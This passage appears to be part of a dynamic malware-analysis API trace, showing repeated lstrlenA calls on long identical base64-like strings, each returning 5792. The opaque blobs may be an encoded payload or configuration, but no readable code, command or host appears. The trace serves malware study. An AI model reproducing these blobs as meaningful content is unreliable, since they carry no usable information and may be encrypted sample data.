W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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